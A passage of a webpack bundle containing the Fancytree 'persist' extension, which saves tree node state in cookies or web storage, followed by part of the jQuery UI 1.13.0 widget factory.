var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
 * jquery.fancytree.persist.js
 *
 * Persist tree status in cookiesRemove or highlight tree nodes, based on a filter.
 * (Extension module for jquery.fancytree.js: https://github.com/mar10/fancytree/)
 *
 * @depends: js-cookie or jquery-cookie
 *
 * Copyright (c) 2008-2021, Martin Wendt (https://wwWendt.de)
 *
 * Released under the MIT license
 * https://github.com/mar10/fancytree/wiki/LicenseInfo
 *
 * @version 2.38.1
 * @date 2022-01-14T18:41:36Z
 */

(function (factory) {
	if (true) {
		// AMD. Register as an anonymous module.
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(486), __webpack_require__(490)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else {}
})(function ($) {
	"use strict";
	/* global Cookies:false */

	/*******************************************************************************
	 * Private functions and variables
	 */
	var cookieStore = null,
		localStorageStore = null,
		sessionStorageStore = null,
		_assert = $.ui.fancytree.assert,
		ACTIVE = "active",
		EXPANDED = "expanded",
		FOCUS = "focus",
		SELECTED = "selected";

	// Accessing window.xxxStorage may raise security exceptions (see #1022)
	try {
		_assert(window.localStorage && window.localStorage.getItem);
		localStorageStore = {
			get: function (key) {
				return window.localStorage.getItem(key);
			},
			set: function (key, value) {
				window.localStorage.setItem(key, value);
			},
			remove: function (key) {
				window.localStorage.removeItem(key);
			},
		};
	} catch (e) {
		$.ui.fancytree.warn("Could not access window.localStorage", e);
	}

	try {
		_assert(window.sessionStorage && window.sessionStorage.getItem);
		sessionStorageStore = {
			get: function (key) {
				return window.sessionStorage.getItem(key);
			},
			set: function (key, value) {
				window.sessionStorage.setItem(key, value);
			},
			remove: function (key) {
				window.sessionStorage.removeItem(key);
			},
		};
	} catch (e) {
		$.ui.fancytree.warn("Could not access window.sessionStorage", e);
	}

	if (typeof Cookies === "function") {
		// Assume https://github.com/js-cookie/js-cookie
		cookieStore = {
			get: Cookies.get,
			set: function (key, value) {
				Cookies.set(key, value, this.options.persist.cookie);
			},
			remove: Cookies.remove,
		};
	} else if ($ && typeof $.cookie === "function") {
		// Fall back to https://github.com/carhartl/jquery-cookie
		cookieStore = {
			get: $.cookie,
			set: function (key, value) {
				$.cookie.set(key, value, this.options.persist.cookie);
			},
			remove: $.removeCookie,
		};
	}

	/* Recursively load lazy nodes
	 * @param {string} mode 'load', 'expand', false
	 */
	function _loadLazyNodes(tree, local, keyList, mode, dfd) {
		var i,
			key,
			l,
			node,
			foundOne = false,
			expandOpts = tree.options.persist.expandOpts,
			deferredList = [],
			missingKeyList = [];

		keyList = keyList || [];
		dfd = dfd || $.Deferred();

		for (i = 0, l = keyList.length; i < l; i++) {
			key = keyList[i];
			node = tree.getNodeByKey(key);
			if (node) {
				if (mode && node.isUndefined()) {
					foundOne = true;
					tree.debug(
						"_loadLazyNodes: " + node + " is lazy: loading..."
					);
					if (mode === "expand") {
						deferredList.push(node.setExpanded(true, expandOpts));
					} else {
						deferredList.push(node.load());
					}
				} else {
					tree.debug("_loadLazyNodes: " + node + " already loaded.");
					node.setExpanded(true, expandOpts);
				}
			} else {
				missingKeyList.push(key);
				tree.debug("_loadLazyNodes: " + node + " was not yet found.");
			}
		}

		$.when.apply($, deferredList).always(function () {
			// All lazy-expands have finished
			if (foundOne && missingKeyList.length > 0) {
				// If we read new nodes from server, try to resolve yet-missing keys
				_loadLazyNodes(tree, local, missingKeyList, mode, dfd);
			} else {
				if (missingKeyList.length) {
					tree.warn(
						"_loadLazyNodes: could not load those keys: ",
						missingKeyList
					);
					for (i = 0, l = missingKeyList.length; i < l; i++) {
						key = keyList[i];
						local._appendKey(EXPANDED, keyList[i], false);
					}
				}
				dfd.resolve();
			}
		});
		return dfd;
	}

	/**
	 * [ext-persist] Remove persistence data of the given type(s).
	 * Called like
	 *     $.ui.fancytree.getTree("#tree").clearCookies("active expanded focus selected");
	 *
	 * @alias Fancytree#clearPersistData
	 * @requires jquery.fancytree.persist.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.clearPersistData = function (
		types
	) {
		var local = this.ext.persist,
			prefix = local.cookiePrefix;

		types = types || "active expanded focus selected";
		if (types.indexOf(ACTIVE) >= 0) {
			local._data(prefix + ACTIVE, null);
		}
		if (types.indexOf(EXPANDED) >= 0) {
			local._data(prefix + EXPANDED, null);
		}
		if (types.indexOf(FOCUS) >= 0) {
			local._data(prefix + FOCUS, null);
		}
		if (types.indexOf(SELECTED) >= 0) {
			local._data(prefix + SELECTED, null);
		}
	};

	$.ui.fancytree._FancytreeClass.prototype.clearCookies = function (types) {
		this.warn(
			"'tree.clearCookies()' is deprecated since v2.27.0: use 'clearPersistData()' instead."
		);
		return this.clearPersistData(types);
	};

	/**
	 * [ext-persist] Return persistence information from cookies
	 *
	 * Called like
	 *     $.ui.fancytree.getTree("#tree").getPersistData();
	 *
	 * @alias Fancytree#getPersistData
	 * @requires jquery.fancytree.persist.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.getPersistData = function () {
		var local = this.ext.persist,
			prefix = local.cookiePrefix,
			delim = local.cookieDelimiter,
			res = {};

		res[ACTIVE] = local._data(prefix + ACTIVE);
		res[EXPANDED] = (local._data(prefix + EXPANDED) || "").split(delim);
		res[SELECTED] = (local._data(prefix + SELECTED) || "").split(delim);
		res[FOCUS] = local._data(prefix + FOCUS);
		return res;
	};

	/******************************************************************************
	 * Extension code
	 */
	$.ui.fancytree.registerExtension({
		name: "persist",
		version: "2.38.1",
		// Default options for this extension.
		options: {
			cookieDelimiter: "~",
			cookiePrefix: undefined, // 'fancytree-<treeId>-' by default
			cookie: {
				raw: false,
				expires: "",
				path: "",
				domain: "",
				secure: false,
			},
			expandLazy: false, // true: recursively expand and load lazy nodes
			expandOpts: undefined, // optional `opts` argument passed to setExpanded()
			fireActivate: true, // false: suppress `activate` event after active node was restored
			overrideSource: true, // true: cookie takes precedence over `source` data attributes.
			store: "auto", // 'cookie': force cookie, 'local': force localStore, 'session': force sessionStore
			types: "active expanded focus selected",
		},

		/* Generic read/write string data to cookie, sessionStorage or localStorage. */
		_data: function (key, value) {
			var store = this._local.store;

			if (value === undefined) {
				return store.get.call(this, key);
			} else if (value === null) {
				store.remove.call(this, key);
			} else {
				store.set.call(this, key, value);
			}
		},

		/* Append `key` to a cookie. */
		_appendKey: function (type, key, flag) {
			key = "" + key; // #90
			var local = this._local,
				instOpts = this.options.persist,
				delim = instOpts.cookieDelimiter,
				cookieName = local.cookiePrefix + type,
				data = local._data(cookieName),
				keyList = data ? data.split(delim) : [],
				idx = $.inArray(key, keyList);
			// Remove, even if we add a key,  so the key is always the last entry
			if (idx >= 0) {
				keyList.splice(idx, 1);
			}
			// Append key to cookie
			if (flag) {
				keyList.push(key);
			}
			local._data(cookieName, keyList.join(delim));
		},

		treeInit: function (ctx) {
			var tree = ctx.tree,
				opts = ctx.options,
				local = this._local,
				instOpts = this.options.persist;

			// // For 'auto' or 'cookie' mode, the cookie plugin must be available
			// _assert((instOpts.store !== "auto" && instOpts.store !== "cookie") || cookieStore,
			// 	"Missing required plugin for 'persist' extension: js.cookie.js or jquery.cookie.js");

			local.cookiePrefix =
				instOpts.cookiePrefix || "fancytree-" + tree._id + "-";
			local.storeActive = instOpts.types.indexOf(ACTIVE) >= 0;
			local.storeExpanded = instOpts.types.indexOf(EXPANDED) >= 0;
			local.storeSelected = instOpts.types.indexOf(SELECTED) >= 0;
			local.storeFocus = instOpts.types.indexOf(FOCUS) >= 0;
			local.store = null;

			if (instOpts.store === "auto") {
				instOpts.store = localStorageStore ? "local" : "cookie";
			}
			if ($.isPlainObject(instOpts.store)) {
				local.store = instOpts.store;
			} else if (instOpts.store === "cookie") {
				local.store = cookieStore;
			} else if (instOpts.store === "local") {
				local.store =
					instOpts.store === "local"
						? localStorageStore
						: sessionStorageStore;
			} else if (instOpts.store === "session") {
				local.store =
					instOpts.store === "local"
						? localStorageStore
						: sessionStorageStore;
			}
			_assert(local.store, "Need a valid store.");

			// Bind init-handler to apply cookie state
			tree.$div.on("fancytreeinit", function (event) {
				if (
					tree._triggerTreeEvent("beforeRestore", null, {}) === false
				) {
					return;
				}

				var cookie,
					dfd,
					i,
					keyList,
					node,
					prevFocus = local._data(local.cookiePrefix + FOCUS), // record this before node.setActive() overrides it;
					noEvents = instOpts.fireActivate === false;

				// tree.debug("document.cookie:", document.cookie);

				cookie = local._data(local.cookiePrefix + EXPANDED);
				keyList = cookie && cookie.split(instOpts.cookieDelimiter);

				if (local.storeExpanded) {
					// Recursively load nested lazy nodes if expandLazy is 'expand' or 'load'
					// Also remove expand-cookies for unmatched nodes
					dfd = _loadLazyNodes(
						tree,
						local,
						keyList,
						instOpts.expandLazy ? "expand" : false,
						null
					);
				} else {
					// nothing to do
					dfd = new $.Deferred().resolve();
				}

				dfd.done(function () {
					if (local.storeSelected) {
						cookie = local._data(local.cookiePrefix + SELECTED);
						if (cookie) {
							keyList = cookie.split(instOpts.cookieDelimiter);
							for (i = 0; i < keyList.length; i++) {
								node = tree.getNodeByKey(keyList[i]);
								if (node) {
									if (
										node.selected === undefined ||
										(instOpts.overrideSource &&
											node.selected === false)
									) {
										//									node.setSelected();
										node.selected = true;
										node.renderStatus();
									}
								} else {
									// node is no longer member of the tree: remove from cookie also
									local._appendKey(
										SELECTED,
										keyList[i],
										false
									);
								}
							}
						}
						// In selectMode 3 we have to fix the child nodes, since we
						// only stored the selected *top* nodes
						if (tree.options.selectMode === 3) {
							tree.visit(function (n) {
								if (n.selected) {
									n.fixSelection3AfterClick();
									return "skip";
								}
							});
						}
					}
					if (local.storeActive) {
						cookie = local._data(local.cookiePrefix + ACTIVE);
						if (
							cookie &&
							(opts.persist.overrideSource || !tree.activeNode)
						) {
							node = tree.getNodeByKey(cookie);
							if (node) {
								node.debug("persist: set active", cookie);
								// We only want to set the focus if the container
								// had the keyboard focus before
								node.setActive(true, {
									noFocus: true,
									noEvents: noEvents,
								});
							}
						}
					}
					if (local.storeFocus && prevFocus) {
						node = tree.getNodeByKey(prevFocus);
						if (node) {
							// node.debug("persist: set focus", cookie);
							if (tree.options.titlesTabbable) {
								$(node.span).find(".fancytree-title").focus();
							} else {
								$(tree.$container).focus();
							}
							// node.setFocus();
						}
					}
					tree._triggerTreeEvent("restore", null, {});
				});
			});
			// Init the tree
			return this._superApply(arguments);
		},
		nodeSetActive: function (ctx, flag, callOpts) {
			var res,
				local = this._local;

			flag = flag !== false;
			res = this._superApply(arguments);

			if (local.storeActive) {
				local._data(
					local.cookiePrefix + ACTIVE,
					this.activeNode ? this.activeNode.key : null
				);
			}
			return res;
		},
		nodeSetExpanded: function (ctx, flag, callOpts) {
			var res,
				node = ctx.node,
				local = this._local;

			flag = flag !== false;
			res = this._superApply(arguments);

			if (local.storeExpanded) {
				local._appendKey(EXPANDED, node.key, flag);
			}
			return res;
		},
		nodeSetFocus: function (ctx, flag) {
			var res,
				local = this._local;

			flag = flag !== false;
			res = this._superApply(arguments);

			if (local.storeFocus) {
				local._data(
					local.cookiePrefix + FOCUS,
					this.focusNode ? this.focusNode.key : null
				);
			}
			return res;
		},
		nodeSetSelected: function (ctx, flag, callOpts) {
			var res,
				selNodes,
				tree = ctx.tree,
				node = ctx.node,
				local = this._local;

			flag = flag !== false;
			res = this._superApply(arguments);

			if (local.storeSelected) {
				if (tree.options.selectMode === 3) {
					// In selectMode 3 we only store the the selected *top* nodes.
					// De-selecting a node may also de-select some parents, so we
					// calculate the current status again
					selNodes = $.map(tree.getSelectedNodes(true), function (n) {
						return n.key;
					});
					selNodes = selNodes.join(
						ctx.options.persist.cookieDelimiter
					);
					local._data(local.cookiePrefix + SELECTED, selNodes);
				} else {
					// beforeSelect can prevent the change - flag doesn't reflect the node.selected state
					local._appendKey(SELECTED, node.key, node.selected);
				}
			}
			return res;
		},
	});
	// Value returned by `require('jquery.fancytree..')`
	return $.ui.fancytree;
}); // End of closure


/***/ }),

/***/ 491:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*! jQuery UI - v1.13.0 - 2021-11-09
* http://jqueryui.com
* Includes: widget.js, position.js, jquery-patch.js, keycode.js, scroll-parent.js, unique-id.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

( function( factory ) {
	"use strict";

	if ( true ) {

		// AMD. Register as an anonymous module.
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [ __webpack_require__(486) ], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else {}
} )( function( $ ) {
"use strict";

$.ui = $.ui || {};

var version = $.ui.version = "1.13.0";


/*!
 * jQuery UI Widget 1.13.0
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: Widget
//>>group: Core
//>>description: Provides a factory for creating stateful widgets with a common API.
//>>docs: http://api.jqueryui.com/jQuery.widget/
//>>demos: http://jqueryui.com/widget/


var widgetUuid = 0;
var widgetHasOwnProperty = Array.prototype.hasOwnProperty;
var widgetSlice = Array.prototype.slice;

$.cleanData = $.cleanData || ( function( orig ) {
	return function( elems ) {
		var events, elem, i;
		for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) {

			// Only trigger remove when necessary to save time
			events = $._data( elem, "events" );
			if ( events && events.remove ) {
				$( elem ).triggerHandler( "remove" );
			}
		}
		orig( elems );
	};
} )( $.cleanData );

$.widget = $.widget || function( name, base, prototype ) {
	var existingConstructor, constructor, basePrototype;

	// ProxiedPrototype allows the provided prototype to remain unmodified
	// so that it can be used as a mixin for multiple widgets (#8876)
	var proxiedPrototype = {};

	var namespace = name.split( "." )[ 0 ];
	name = name.split( "." )[ 1 ];
	var fullName = namespace + "-" + name;

	if ( !prototype ) {
		prototype = base;
		base = $.Widget;
	}

	if ( Array.isArray( prototype ) ) {
		prototype = $.extend.apply( null, [ {} ].concat( prototype ) );
	}

	// Create selector for plugin
	$.expr.pseudos[ fullName.toLowerCase() ] = function( elem ) {
		return !!$.data( elem, fullName );
	};

	$[ namespace ] = $[ namespace ] || {};
	existingConstructor = $[ namespace ][ name ];
	constructor = $[ namespace ][ name ] = function( options, element ) {

		// Allow instantiation without "new" keyword
		if ( !this._createWidget ) {
			return new constructor( options, element );
		}

		// Allow instantiation without initializing for simple inheritance
		// must use "new" keyword (the code above always passes args)
		if ( arguments.length ) {
			this._createWidget( options, element );
		}
	};

	// Extend with the existing constructor to carry over any static properties
	$.extend( constructor, existingConstructor, {
		version: prototype.version,

		// Copy the object used to create the prototype in case we need to
		// redefine the widget later
		_proto: $.extend( {}, prototype ),

		// Track widgets that inherit from this widget in case this widget is
		// redefined after a widget inherits from it
		_childConstructors: []
	} );

	basePrototype = new base();

	// We need to make the options hash a property directly on the new instance
	// otherwise we'll modify the options hash on the prototype that we're
	// inheriting from
	basePrototype.options = $.widget.extend( {}, basePrototype.options );
	$.each( prototype, function( prop, value ) {
		if ( typeof value !== "function" ) {
			proxiedPrototype[ prop ] = value;
			return;
		}
		proxiedPrototype[ prop ] = ( function() {
			function _super() {
				return base.prototype[ prop ].apply( this, arguments );
			}

			function _superApply( args ) {
				return base.prototype[ prop ].apply( this, args );
			}

			return function() {
				var __super = this._super;
				var __superApply = this._superApply;
				var returnValue;

				this._super = _super;
				this._superApply = _superApply;

				returnValue = value.apply( this, arguments );

				this._super = __super;
				this._superApply = __superApply;

				return returnValue;
			};
		} )();
	} );
	constructor.prototype = $.widget.extend( basePrototype, {

		// TODO: remove support for widgetEventPrefix
		// always use the name + a colon as the prefix, e.g., draggable:start
		// don't prefix for widgets that aren't DOM-based
		widgetEventPrefix: existingConstructor ? ( basePrototype.widgetEventPrefix || name ) : name
	}, proxiedPrototype, {
		constructor: constructor,
		namespace: namespace,
		widgetName: name,
		widgetFullName: fullName
	} );

	// If this widget is being redefined then we need to find all widgets that
	// are inheriting from it and redefine all of them so that they inherit from
	// the new version of this widget. We're essentially trying to replace one
	// level in the prototype chain.
	if ( existingConstructor ) {
		$.each( existingConstructor._childConstructors, function( i, child ) {
			var childPrototype = child.prototype;

			// Redefine the child widget using the same prototype that was
			// originally used, but inherit from the new version of the base
			$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor,
				child._proto );
		} );

		// Remove the list of existing child constructors from the old constructor
		// so the old child constructors can be garbage collected
		delete existingConstructor._childConstructors;
	} else {
		base._childConstructors.push( constructor );
	}

	$.widget.bridge( name, constructor );

	return constructor;
};

$.widget.extend = function( target ) {
	var input = widgetSlice.call( arguments, 1 );
	var inputIndex = 0;
	var inputLength = input.length;
	var key;
	var value;

	for ( ; inputIndex < inputLength; inputIndex++ ) {
		for ( key in input[ inputIndex ] ) {
			value = input[ inputIndex ][ key ];
			if ( widgetHasOwnProperty.call( input[ inputIndex ], key ) && value !== undefined ) {

				// Clone objects
				if ( $.isPlainObject( value ) ) {
					target[ key ] = $.isPlainObject( target[ key ] ) ?
						$.widget.extend( {}, target[ key ], value ) :

						// Don't extend strings, arrays, etc. with objects
						$.widget.extend( {}, value );

				// Copy everything else by reference
				} else {
					target[ key ] = value;
				}
			}
		}
	}
	return target;
};

$.widget.bridge = function( name, object ) {
	var fullName = object.prototype.widgetFullName || name;
	$.fn[ name ] = function( options ) {
		var isMethodCall = typeof options === "string";
		var args = widgetSlice.call( arguments, 1 );
		var returnValue = this;

		if ( isMethodCall ) {

			// If this is an empty collection, we need to have the instance method
			// return undefined instead of the jQuery instance
			if ( !this.length && options === "instance" ) {
				returnValue = undefined;
			} else {
				this.each( function() {
					var methodValue;
					var instance = $.data( this, fullName );

					if ( options === "instance" ) {
						returnValue = instance;
						return false;
					}

					if ( !instance ) {
						return $.error( "cannot call methods on " + name +
							" prior to initialization; " +
							"attempted to call method '" + options + "'" );
					}

					if ( typeof instance[ options ] !== "function" ||
						options.charAt( 0 ) === "_" ) {
						return $.error( "no such method '" + options + "' for " + name +
							" widget instance" );
					}

					methodValue = instance[ options ].apply( instance, args );

					if ( methodValue !== instance && methodValue !== undefined ) {
						returnValue = methodValue && methodValue.jquery ?
							returnValue.pushStack( methodValue.get() ) :
							methodValue;
						return false;
					}
				} );
			}
		} else {

			// Allow multiple hashes to be passed on init
			if ( args.length ) {
				options = $.widget.extend.apply( null, [ options ].concat( args ) );
			}

			this.each( function() {
				var instance = $.data( this, fullName );
				if ( instance ) {
					instance.option( options || {} );
					if ( instance._init ) {
						instance._init();
					}
				} else {
					$.data( this, fullName, new object( options, this ) );
				}
			} );
		}

		return returnValue;
	};
};

$.Widget = $.Widget || function( /* options, element */ ) {};
$.Widget._childConstructors = [];

$.Widget.prototype = {
	widgetName: "widget",
	widgetEventPrefix: "",
	defaultElement: "<div>",

	options: {
		classes: {},
		disabled: false,

		// Callbacks
		create: null
	},

	_createWidget: function( options, element ) {
		element = $( element || this.defaultElement || this )[ 0 ];
		this.element = $( element );
		this.uuid = widgetUuid++;
		this.eventNamespace = "." + this.widgetName + this.uuid;

		this.bindings = $();
		this.hoverable = $();
		this.focusable = $();
		this.classesElementLookup = {};

		if ( element !== this ) {
			$.data( element, this.widgetFullName, this );
			this._on( true, this.element, {
				remove: function( event ) {
					if ( event.target === element ) {
						this.destroy();
					}
				}
			} );
			this.document = $( element.style ?

				// Element within the document
				element.ownerDocument :

				// Element is window or document
				element.document || element );
			this.window = $( this.document[ 0 ].defaultView || this.document[ 0 ].parentWindow );
		}

		this.options = $.widget.extend( {},
			this.options,
			this._getCreateOptions(),
			options );

		this._create();

		if ( this.options.disabled ) {
			this._setOptionDisabled( this.options.disabled );
		}

		this._trigger( "create", null, this._getCreateEventData() );
		this._init();
	},

	_getCreateOptions: function() {
		return {};
	},

	_getCreateEventData: $.noop,

	_create: $.noop,

	_init: $.noop,

	destroy: function() {
		var that = this;

		this._destroy();
		$.each( this.classesElementLookup, function( key, value ) {
			that._removeClass( value, key );
		} );

		// We can probably remove the unbind calls in 2.0
		// all event bindings should go through this._on()
		this.element
			.off( this.eventNamespace )
			.removeData( this.widgetFullName );
		this.widget()
			.off( this.eventNamespace )
			.removeAttr( "aria-disabled" );

		// Clean up events and states
		this.bindings.off( this.eventNamespace );
	},

	_destroy: $.noop,

	widget: function() {
		return this.element;
	},

	option: function( key, value ) {
		var options = key;
		var parts;
		var curOption;
		var i;

		if ( arguments.length === 0 ) {

			// Don't return a reference to the internal hash
			return $.widget.extend( {}, this.options );
		}

		if ( typeof key === "string" ) {

			// Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
			options = {};
			parts = key.split( "." );
			key = parts.shift();
			if ( parts.length ) {
				curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
				for ( i = 0; i < parts.length - 1; i++ ) {
					curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
					curOption = curOption[ parts[ i ] ];
				}
				key = parts.pop();
				if ( arguments.length === 1 ) {
					return curOption[ key ] === undefined ? null : curOption[ key ];
				}
				curOption[ key ] = value;
			} else {
				if ( arguments.length === 1 ) {
					return this.options[ key ] === undefined ? null : this.options[ key ];
				}
				options[ key ] = value;
			}
		}

		this._setOptions( options );

		return this;
	},

	_setOptions: function( options ) {
		var key;

		for ( key in options ) {
			this._setOption( key, options[ key ] );
		}

		return this;
	},

	_setOption: function( key, value ) {
		if ( key === "classes" ) {
			this._setOptionClasses( value );
		}

		this.options[ key ] = value;

		if ( key === "disabled" ) {
			this._setOptionDisabled( value );
		}

		return this;
	},

	_setOptionClasses: function( value ) {
		var classKey, elements, currentElements;

		for ( classKey in value ) {
			currentElements = this.classesElementLookup[ classKey ];
			if ( value[ classKey ] === this.options.classes[ classKey ] ||
					!currentElements ||
					!currentElements.length ) {
				continue;
			}

			// We are doing this to create a new jQuery object because the _removeClass() call
			// on the next line is going to destroy the reference to the current elements being
			// tracked. We need to save a copy of this collection so that we can add the new classes
			// below.
			elements = $( currentElements.get() );
			this._removeClass( currentElements, classKey );

			// We don't use _addClass() here, because that uses this.options.classes
			// for generating the string of classes. We want to use the value passed in from
			// _setOption(), this is the new value of the classes option which was passed to
			// _setOption(). We pass this value directly to _classes().
			elements.addClass( this._classes( {
				element: elements,
				keys: classKey,
				classes: value,
				add: true
			} ) );
		}
	},

	_setOptionDisabled: function( value ) {
		this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, !!value );

		// If the widget is becoming disabled, then nothing is interactive
		if ( value ) {
			this._removeClass( this.hoverable, null, "ui-state-hover" );
			this._removeClass( this.focusable, null, "ui-state-focus" );
		}
	},

	enable: function() {
		return this._setOptions( { disabled: false } );
	},

	disable: function() {
		return this._setOptions( { disabled: true } );
	},

	_classes: function( options ) {
		var full = [];
		var that = this;

		options = $.extend( {
			element: this.element,
			classes: this.options.classes || {}
		}, options );

		function bindRemoveEvent() {
			options.element.each( function( _, element ) {
				var isTracked = $.map( that.classesElementLookup, function( elements ) {
					return elements;
				} )
					.some( function( elements ) {
						return elements.is( element );
					} );

				if ( !isTracked ) {
					that._on( $( element ), {
						remove: "_untrackClassesElement"
					} );
				}
			} );
		}

		function processClassString( classes, checkOption ) {
			var current, i;
			for ( i = 0; i < classes.length; i++ ) {
				current = that.classesElementLookup[ classes[ i ] ] || $();
				if ( options.add ) {
					bindRemoveEvent();
					current = $( $.uniqueSort( current.get().concat( options.element.get() ) ) );
				} else {
					current = $( current.not( options.element ).get() );
				}
				that.classesElementLookup[ classes[ i ] ] = current;
				full.push( classes[ i ] );
				if ( checkOption && options.classes[ classes[ i ] ] ) {
					full.push( options.classes[ classes[ i ] ] );
				}
			}
		}

		if ( options.keys ) {
			processClassString( options.keys.match( /\S+/g ) || [], true );
		}
		if ( options.extra ) {
			processClassString( options.extra.match( /\S+/g ) || [] );
		}

		return full.join( " " );
	},

	_untrackClassesElement: function( event ) {
		var that = this;
		$.each( that.classesElementLookup, function( key, value ) {
			if ( $.inArray( event.target, value ) !== -1 ) {
				that.classesElementLookup[ key ] = $( value.not( event.target ).get() );
			}
		} );

		this._off( $( event.target ) );
	},

	_removeClass: function( element, keys, extra ) {
		return this._toggleClass( element, keys, extra, false );
	},

	_addClass: function( element, keys, extra ) {
		return this._toggleClass( element, keys, extra, true );
	},

	_toggleClass: function( element, keys, extra, add ) {
		add = ( typeof add === "boolean" ) ? add : extra;
		var shift = ( typeof element === "string" || element === null ),
			options = {
				extra: shift ? keys : extra,
				keys: shift ? element : keys,
				element: shift ? this.element : element,
				add: add
			};
		options.element.toggleClass( this._classes( options ), add );
		return this;
	},

	_on: function( suppressDisabledCheck, element, handlers ) {
		var delegateElement;
		var instance = this;

		// No suppressDisabledCheck flag, shuffle arguments
		if ( typeof suppressDisabledCheck !== "boolean" ) {
			handlers = element;
			element = suppressDisabledCheck;
			suppressDisabledCheck = false;
		}

		// No element argument, shuffle and use this.element
		if ( !handlers ) {
			handlers = element;
			element = this.element;
			delegateElement = this.widget();
		} else {
			element = delegateElement = $( element );
			this.bindings = this.bindings.add( element );
		}

		$.each( handlers, function( event, handler ) {
			function handlerProxy() {

				// Allow widgets to customize the disabled handling
				// - disabled as an array instead of boolean
				// - disabled class as method for disabling individual parts
				if ( !suppressDisabledCheck &&
						( instance.options.disabled === true ||
						$( this ).hasClass( "ui-state-disabled" ) ) ) {
					return;
				}
				return ( typeof handler === "string" ? instance[ handler ] : handler )
					.apply( instance, arguments );
			}

			// Copy the guid so direct unbinding works
			if ( typeof handler !== "string" ) {
				handlerProxy.guid = handler.guid =
					handler.guid || handlerProxy.guid || $.guid++;
			}

			var match = event.match( /^([\w:-]*)\s*(.*)$/ );
			var eventName = match[ 1 ] + instance.eventNamespace;
			var selector = match[ 2 ];

			if ( selector ) {
				delegateElement.on( eventName, selector, handlerProxy );
			} else {
				element.on( eventName, handlerProxy );
			}
		} );
	},

	_off: function( element, eventName ) {
		eventName = ( eventName || "" ).split( " " ).join( this.eventNamespace + " " ) +
			this.eventNamespace;
		element.off( eventName );

		// Clear the stack to avoid memory leaks (#10056)
		this.bindings = $( this.bindings.not( element ).get() );
		this.focusable = $( this.focusable.not( element ).get() );
		this.hoverable = $( this.hoverable.not( element ).get() );
	},

	_delay: function( handler, delay ) {
		function handlerProxy() {
			return ( typeof handler === "string" ? instance[ handler ] : handler )
				.apply( instance, arguments );
		}
		var instance = this;
		return setTimeout( handlerProxy, delay || 0 );
	},

	_hoverable: function( element ) {
		this.hoverable = this.hoverable.add( element );
		this._on( element, {
			mouseenter: function( event ) {
				this._addClass( $( event.currentTarget ), null, "ui-state-hover" );
			},
			mouseleave: function( event ) {
				this._removeClass( $( event.currentTarget ), null, "ui-state-hover" );
			}
		} );
	},

	_focusable: function( element ) {
		this.focusable = this.focusable.add( element );
		this._on( element, {
			focusin: function( event ) {
				this._addClass( $( event.currentTarget ), null, "ui-state-focus" );
			},
			focusout: function( event ) {
				this._removeClass( $( event.currentTarget ), null, "ui-state-focus" );
			}
		} );
	},

	_trigger: function( type, event, data ) {
		var prop, orig;
		var callback = this.options[ type ];

		data = data || {};
		event = $.Event( event );
		event.type = ( type === this.widgetEventPrefix ?
			type :
			this.widgetEventPrefix + type ).toLowerCase();

		// The original event may come from any element
		// so we need to reset the target on the new event
		event.target = this.element[ 0 ];

		// Copy original event properties over to the new event
		orig = event.originalEvent;
		if ( orig ) {
			for ( prop in orig ) {
				if ( !( prop in event ) ) {
					event[ prop ] = orig[ prop ];
				}
			}
		}

		this.element.trigger( event, data );
		return !( typeof callback === "function" &&
			callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false ||
			event.isDefaultPrevented() );
	}
};

$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
	$.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
		if ( typeof options === "string" ) {
			options = { effect: options };
		}

		var hasOptions;
		var effectName = !options ?
			method :
			options === true || typeof options === "number" ?
				defaultEffect :
				options.effect || defaultEffect;

		options = options || {};
		if ( typeof options === "number" ) {
			options = { duration: options };
		} else if ( options === true ) {
			options = {};
		}

		hasOptions = !$.isEmptyObject( options );
		options.complete = callback;

		if ( options.delay ) {
			element.delay( options.delay );
		}

		if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
			element[ method ]( options );
		} else if ( effectName !== method && element[ effectName ] ) {
			element[ effectName ]( options.duration, options.easing, callback );
		} else {
			element.queue( function( next ) {
				$( this )[ method ]();
				if ( callback ) {
					callback.call( element[ 0 ] );
				}
				next();
			} );
		}
	};
} );

var widget = $.widget;


/*!
 * jQuery UI Position 1.13.0
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/position/
 */

//>>label: Position
//>>group: Core
//>>description: Positions elements relative to other elements.
//>>docs: http://api.jqueryui.com/position/
